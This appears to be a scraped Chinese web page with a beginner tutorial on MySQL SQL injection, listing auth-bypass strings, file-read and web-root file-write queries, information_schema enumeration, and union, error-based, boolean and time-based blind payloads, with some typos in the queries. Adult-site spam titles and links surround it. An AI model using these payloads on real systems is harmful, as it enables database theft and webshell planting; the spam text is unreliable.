亚洲综合原千岁中文字幕_国产精品99久久久久久久vr_无码人妻aⅴ一区二区三区浪潮_成人h动漫精品一区二区三

主頁 > 知識庫 > sql注入之必備的基礎知識

sql注入之必備的基礎知識

熱門標簽:泗洪正規電話機器人找哪家 南昌呼叫中心外呼系統哪家好 小程序智能電話機器人 簡單的智能語音電銷機器人 湖南保險智能外呼系統產品介紹 ai電話電話機器人 怎么去開發一個電銷機器人 河北便宜電銷機器人軟件 怎么申請400熱線電話

什么是SQL注入(SQL Injection)

所謂SQL注入式攻擊,就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字符串,欺騙服務器執行惡意的SQL命令。在某些表單中,用戶輸入的內容直接用來構造(或者影響)動態SQL命令,或作為存儲過程的輸入參數,這類表單特別容易受到SQL注入式攻擊。

mysql常用注釋

    #

    --[空格]或者是--+

    /*…*/

在注意過程中,這些注釋可能都需要進行urlencode。

mysql認證繞過

      ;%00

     ‘ or 1=1 #

     ‘ /*!or */ 1=1 --+

mysql連接符

mysql中使用+來進行連接。

select * from users where username='zhangsan' and "ab"="a"+"b";

mysql中常見函數

在進行sql注入過程中,會使用到mysql中的內置函數。在內置函數中,又分為獲取信息的函數和功能函數。

信息函數是用來獲取mysql中的數據庫的信息,功能函數就是傳統的函數用來完成某項操作。

常用的信息函數有:

    database() ,用于獲取當前所使用的數據庫信息

    version():返回數據庫的版本,等價于@@version

     user():返回當前的用戶,等價如current_user參數。如:

select user(); #root@localhost
select current_user; #root@localhost

@@datadir,獲取數據庫的存儲位置。

select @@datadir; #D:\xampp\mysql\data\

常見的功能函數有:

load_file():從計算機中載入文件,讀取文件中的數據。

select * from users union select 1,load_file('/etc/passwd'),3;
select * from users union select 1,load_file(0x2F6574632F706173737764),3; #使用16進制繞過單引號限制

into outfile:寫入文件,前提是具有寫入權限

select '?php phpinfo(); ?>' into outfile '/var/www/html/xxx.php';
select char(60,63,112,104,112,32,112,104,112,105,110,102,111,40,41,59,32,63,62) into outfile '/var/www/html/xxx.php';

concat():返回結果為連接參數產生的字符串。如果其中一個參數為null,則返回值為null。

用法如下:

select concat(username,password)from users;

*concat_ws() :是concat_ws()的特殊形式,第一個參數是分隔符,剩下的參數就是字段名。

select concat_ws(',',username,password) from users;

group_concat() :用于合并多條記錄中的結果。

用法如下:

select group_concat(username) from users;
#返回的就是users表中所有的用戶名,并且是作為一條記錄返回。

subtring() ,substr():用于截斷字符串。用法為:substr(str,pos,length) ,注意pos是從1開始的。

select substr((select database()),1,1);

ascii():用法返回字符所對應的ascii值。

select ascii('a'); #97

length():返回字符串的長度。

如:

select length("123456") #返回6

is(exp1,exp2,exp2):如果exp1的表達式是True,則返回exp2;否則返回exp3。

如:

select 1,2,if(1=1,3,-1) #1,2,3
selecrt 1,2,if(1=2,3,-1) #1,2,-1

以上就是在進行sql注入工程中常用的函數。當然還存在一些使用的不是很多的函數。

    now():返回當前的系統時間

    hex():返回字符串的16進制

    unhex():反向的hex()的16進制

    @@basedir():反向mysql的安裝目錄

    @@versin_compile_os:操作系統

mysql數據庫元信息

在mysql中存在information_schema是一個信息數據庫,在這個數據庫中保存了Mysql服務器所保存的所有的其他數據庫的信息,如數據庫名,數據庫的表,表的字段名稱

和訪問權限。在informa_schema中常用的表有:

     schemata:存儲了mysql中所有的數據庫信息,返回的內容與show databases的結果是一樣的。

     tables:存儲了數據庫中的表的信息。詳細地描述了某個表屬于哪個schema,表類型,表引擎。

     show tables from secuiry的結果就是來自這個表

     columns:詳細地描述了某張表的所有的列以及每個列的信息。

     show columns from users的結果就是來自這個表

下面就是利用以上的3個表來獲取數據庫的信息。

select database(); #查選數據庫
select schema_name from information_schema.schemata limit 0,1 #查詢數據庫
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查詢表
select column_name from information_schema.columns where table_name='users' limit 0,1; #查詢列

sql注入類型

sql注入類型大致可以分為常規的sql注入和sql盲注。sql盲注又可以分為基于時間的盲注和基于網頁內容的盲注。
關于sql的盲注,網上也有很多的說明,這里也不做過多的解釋。關于盲注的概念,有具體的例子就方便進行說明。
延時注入中,常用的函數就包括了if()sleep()函數。

基本的sql表達式如下:

select * from users where id=1 and if(length(user())=14,sleep(3),1);
select * from users where id=1 and if(mid(user(),1,1)='r',sleep(3),1);

寬字節注入

關于寬字節注入,可以參考寬字節注入詳解。寬字節輸入一般是由于網頁編碼與數據庫的編碼不匹配造成的。對于寬字節注入,使用%d5或%df繞過

mysql常用語句總結

常規注入

1' order by num #  確定字段長度
1' union select 1,2,3 # 確定字段長度
-1' union select 1,2,3 # 判斷頁面中顯示的字段
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata #顯示mysql中所有的數據庫
-1' union select 1,2 group_concat(table_name) from information_schema.tables where table_schame = "dbname"/database()/hex(dbname) #
-1' union select 1,2,column_name from information_schema.columns where table_name="table_name" limit 0,1 #
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="table_name"/hex(table_name) limit 0,1 #
-1' union select 1,2,3 AND '1'='1  在注釋符無法使用的情況下

雙重SQL查選

select concat(0x3a,0x3a,(select database()),0x3a,0x3a);
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a;
select concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables;
select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #這種sql語句的寫法,常用于sql的盲注。得到數據庫的信息
select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a; #得到數據庫的表的信息

 
#利用姿勢如下:
1' AND (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.table where table_schema=database() limi 0,1),0x3a,0x3a,floor(rand()*2))a from information_schema.tables group by a)b) --+

這種利用姿勢是通過mysql執行sql命令時的報錯信息來得到所需要的信息的,在接下來的文章中會對這種寫法進行詳細地分析。

bool盲注

1' and ascii(substr(select database(),1,1))>99
1' and ascii(substr((select table_name from information_schema.tables limit 0,1),1,1))>90

bool盲注就是根據sql語句執行返回值是True或False對應的頁面內容會發生,來得到信息。

time盲注

1' AND select if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)='e',sleep(10),null) +
1' AND select if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(10),null) --+

上述的2種寫法都是等價的,time盲注余常規的sql注入方法不同。time盲注需要一般需要使用到if()sleep()函數。然后根據頁面返回內容的長度,進而知道sleep()函數是否有執行。

根據sleep()函數是否執行來得到所需的信息。

總結

以上就是sql注入之必備的基礎知識,接下來的文章將會通過實例詳細地講解sql注入中的知識,今天的這篇文章也主要是作為一個基礎知識。對sql注入感興趣的朋友們請繼續關注腳本之家哦。

您可能感興趣的文章:
  • sql注入之手工注入示例詳解
  • sql注入之新手入門示例詳解
  • 利用SQL注入漏洞登錄后臺的實現方法
  • PHP中防止SQL注入實現代碼
  • PHP+MySQL 手工注入語句大全 推薦
  • 整理比較全的Access SQL注入參考
  • php中防止SQL注入的最佳解決方法
  • php防止SQL注入詳解及防范
  • 利用SQL注入漏洞拖庫的方法
  • SQL注入之基于布爾的盲注詳解

標簽:景德鎮 荊門 那曲 威海 江蘇 瀘州 淮安 柳州

巨人網絡通訊聲明:本文標題《sql注入之必備的基礎知識》,本文關鍵詞  sql,注入,之,必備,的,基礎知識,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《sql注入之必備的基礎知識》相關的同類信息!
  • 本頁收集關于sql注入之必備的基礎知識的相關信息資訊供網民參考!
  • 推薦文章
    成人高清免费| 国产麻豆精品视频| 日韩专区亚洲综合久久| 亚欧成人毛片一区二区三区四区| 欧美一级视频免费观看| 99热精品一区| 九九九在线视频| 日韩男人天堂| 国产成人啪精品| 午夜欧美福利| 日韩avdvd| 精品国产一区二区三区久久久蜜臀| 精品久久久久久免费影院| 台湾美女古装一级毛片| 日韩在线观看免费完整版视频| 国产91精品一区二区| 99色精品| 亚洲女人国产香蕉久久精品 | 精品久久久久久中文字幕2017| 国产视频久久久| 国产高清在线精品一区二区 | 日日夜夜婷婷| 91麻豆国产福利精品| 日韩av片免费播放| 91麻豆精品国产自产在线观看一区 | 黄视频网站在线看| 国产一区二区精品| 韩国三级视频在线观看| 台湾毛片| 久久福利影视| 久久久久久久男人的天堂| 日韩专区亚洲综合久久| 日本伦理黄色大片在线观看网站| 91麻豆国产| 成人高清免费| 国产麻豆精品视频| 欧美激情中文字幕一区二区| 亚洲第一色在线| 97视频免费在线观看| 毛片的网站| 国产韩国精品一区二区三区| 亚州视频一区二区| 99色吧| 99久久精品国产高清一区二区| 在线观看成人网 | 免费一级生活片| 欧美一区二区三区性| 国产原创视频在线| a级毛片免费全部播放| 精品国产一区二区三区免费| 久久国产影视免费精品| 日韩欧美一及在线播放| 成人a级高清视频在线观看| 在线观看成人网 | 日韩欧美一二三区| 日本免费看视频| 日韩专区第一页| 一级女性全黄生活片免费| 天天做日日爱| 日韩免费在线视频| 国产综合91天堂亚洲国产| 国产一区二区精品久| 日韩字幕在线| 日韩中文字幕在线播放| 亚洲女人国产香蕉久久精品 | 亚洲天堂一区二区三区四区| 国产91素人搭讪系列天堂| 日本免费乱理伦片在线观看2018| 999精品在线| 日韩在线观看视频黄| 久久精品免视看国产明星| 精品国产一区二区三区免费| 午夜在线亚洲男人午在线| 日韩免费片| 国产极品白嫩美女在线观看看| 精品视频免费看| 欧美一级视频免费观看| 日本久久久久久久 97久久精品一区二区三区 狠狠色噜噜狠狠狠狠97 日日干综合 五月天婷婷在线观看高清 九色福利视频 | 你懂的在线观看视频| 国产美女在线一区二区三区| a级黄色毛片免费播放视频| 91麻豆精品国产高清在线| 欧美激情影院| 国产高清在线精品一区二区 | 国产原创视频在线| 日本特黄特色aa大片免费| 韩国三级香港三级日本三级la| 国产视频一区二区在线观看| 美女被草网站| 色综合久久天天综线观看| 日韩专区一区| 精品视频在线观看一区二区 | 亚洲www美色| 精品久久久久久影院免费| 日韩专区一区| 日韩中文字幕在线播放| a级黄色毛片免费播放视频| 欧美爱色| 日韩欧美一二三区| 久久国产精品自线拍免费| 成人免费高清视频| 国产网站免费视频| 日本免费看视频| 日本伦理片网站| 天天色色网| 99色精品| 久久99爰这里有精品国产| 欧美激情一区二区三区视频 | 成人免费网站久久久| 国产福利免费视频| 日本伦理网站| 精品视频在线观看一区二区 | 97视频免费在线观看| 国产高清在线精品一区a| 久久精品大片| 99热精品一区| 久久99青青久久99久久| 久久国产精品只做精品| 亚洲精品影院久久久久久| 久久99这里只有精品国产| 久久久久久久免费视频| 日韩中文字幕在线观看视频| 二级片在线观看| 毛片高清| 日本免费看视频| 亚欧成人毛片一区二区三区四区| 日本在线不卡免费视频一区| 台湾毛片| 欧美一区二区三区性| 九九精品影院| 午夜家庭影院| 麻豆系列国产剧在线观看| 天堂网中文字幕| 国产视频在线免费观看| 日本特黄特黄aaaaa大片| 国产成a人片在线观看视频| 中文字幕一区二区三区 精品| 四虎论坛| 人人干人人插| 黄视频网站免费观看| 成人免费一级纶理片| 欧美大片一区| 91麻豆国产| 国产麻豆精品hdvideoss| 亚洲女人国产香蕉久久精品 | 国产不卡精品一区二区三区| 亚洲精品影院久久久久久| 毛片的网站| 精品在线观看一区| 国产网站在线| 91麻豆国产级在线| 国产不卡在线观看| 亚洲第一色在线| 韩国三级香港三级日本三级la| 日韩专区第一页| 韩国毛片 免费| 免费的黄视频| 日韩av片免费播放| 999久久狠狠免费精品| 免费毛片播放| 成人免费观看视频| 日本久久久久久久 97久久精品一区二区三区 狠狠色噜噜狠狠狠狠97 日日干综合 五月天婷婷在线观看高清 九色福利视频 | 欧美另类videosbestsex高清| 日韩男人天堂| 美女免费精品高清毛片在线视| 亚洲天堂在线播放| 中文字幕Aⅴ资源网| 尤物视频网站在线| 亚洲精品中文字幕久久久久久| 好男人天堂网 久久精品国产这里是免费 国产精品成人一区二区 男人天堂网2021 男人的天堂在线观看 丁香六月综合激情 | 国产不卡福利| 青青青草影院| 在线观看导航| 99久久网站| 麻豆网站在线免费观看| 欧美另类videosbestsex高清| 在线观看导航| 国产视频久久久久| 91麻豆精品国产自产在线观看一区| 国产激情一区二区三区| 欧美日本韩国| 国产网站免费| 国产一区二区精品| 成人免费一级纶理片| 青青久久精品| 午夜久久网| 日韩在线观看视频黄| 可以免费看毛片的网站| 成人免费观看男女羞羞视频| 精品国产一区二区三区免费| 精品视频在线观看一区二区三区| 久久久久久久久综合影视网| 91麻豆精品国产高清在线| 精品视频在线看 | 午夜在线影院| 黄色福利片| 九九精品在线播放| 国产一区精品| 青青久久精品| 人人干人人草|